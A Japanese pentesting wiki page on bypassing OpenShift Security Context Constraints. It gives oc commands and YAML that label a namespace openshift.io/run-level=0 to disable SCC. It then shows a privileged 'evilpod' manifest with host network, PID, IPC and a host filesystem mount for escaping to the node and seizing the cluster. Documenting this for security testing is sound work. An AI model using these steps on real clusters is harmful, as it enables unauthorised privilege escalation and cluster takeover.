Openshift - SCC バイパス

Reading time: 5 minutes

このページの元の著者は Guillaume

特権名前空間

デフォルトでは、SCCは以下のプロジェクトには適用されません:

  • default
  • kube-system
  • kube-public
  • openshift-node
  • openshift-infra
  • openshift

これらの名前空間のいずれかにポッドをデプロイすると、SCCは強制されず、特権ポッドのデプロイやホストファイルシステムのマウントが可能になります。

名前空間ラベル

RedHatのドキュメントによると、ポッド上でSCCの適用を無効にする方法があります。以下のいずれかの権限を持っている必要があります:

  • 名前空間を作成し、この名前空間にポッドを作成する
  • 名前空間を編集し、この名前空間にポッドを作成する
bash
$ oc auth can-i create namespaces
yes

$ oc auth can-i patch namespaces
yes

特定のラベル openshift.io/run-level は、ユーザーがアプリケーションのためにSCCを回避することを可能にします。RedHatのドキュメントによると、このラベルが使用されると、その名前空間内のすべてのポッドに対してSCCが適用されず、実質的に制限が解除されます。

ラベルの追加

名前空間にラベルを追加するには:

bash
$ oc label ns MYNAMESPACE openshift.io/run-level=0

YAMLファイルを通じてラベルを持つ名前空間を作成するには:

yaml
apiVersion: v1
kind: Namespace
metadata:
name: evil
labels:
openshift.io/run-level: 0

今、名前空間で作成されたすべての新しいポッドにはSCCがないはずです。

$ oc get pod -o yaml | grep 'openshift.io/scc'
$

SCCがない場合、ポッド定義に制限はありません。これは、悪意のあるポッドがホストシステムに逃げるために簡単に作成できることを意味します。

yaml
apiVersion: v1
kind: Pod
metadata:
name: evilpod
labels:
kubernetes.io/hostname: evilpod
spec:
hostNetwork: true #Bind pod network to the host network
hostPID: true #See host processes
hostIPC: true #Access host inter processes
containers:
- name: evil
image: MYIMAGE
imagePullPolicy: IfNotPresent
securityContext:
privileged: true
allowPrivilegeEscalation: true
resources:
limits:
memory: 200Mi
requests:
cpu: 30m
memory: 100Mi
volumeMounts:
- name: hostrootfs
mountPath: /mnt
volumes:
- name: hostrootfs
hostPath:
path:

今では、ホストシステムへの特権昇格が容易になり、その結果、クラスタ全体を掌握し、「cluster-admin」権限を取得することができます。次のページのNode-Post Exploitation部分を探してください:

Attacking Kubernetes from inside a Pod

カスタムラベル

さらに、ターゲットのセットアップに基づいて、前の攻撃シナリオと同様にカスタムラベル/アノテーションが使用される場合があります。作成されていなくても、ラベルは特定のリソースに対して権限を付与したり、制限したりするために使用される可能性があります。

いくつかのリソースを読むことができる場合は、カスタムラベルを探してみてください。以下は興味深いリソースのリストです:

  • Pod
  • Deployment
  • Namespace
  • Service
  • Route
bash
$ oc get pod -o yaml | grep labels -A 5
$ oc get namespace -o yaml | grep labels -A 5

特権のあるすべてのネームスペースをリストする

bash
$ oc get project -o yaml | grep 'run-level' -b5

高度なエクスプロイト

OpenShiftでは、前述のように、openshift.io/run-levelラベルを持つ名前空間にポッドをデプロイする権限があると、クラスターの簡単な乗っ取りにつながる可能性があります。クラスター設定の観点から、この機能は無効にできません。これはOpenShiftの設計に固有のものです。

しかし、Open Policy Agent GateKeeperのような緩和策は、ユーザーがこのラベルを設定するのを防ぐことができます。

GateKeeperのルールを回避し、このラベルを設定してクラスターの乗っ取りを実行するには、攻撃者は代替手段を特定する必要があります。

参考文献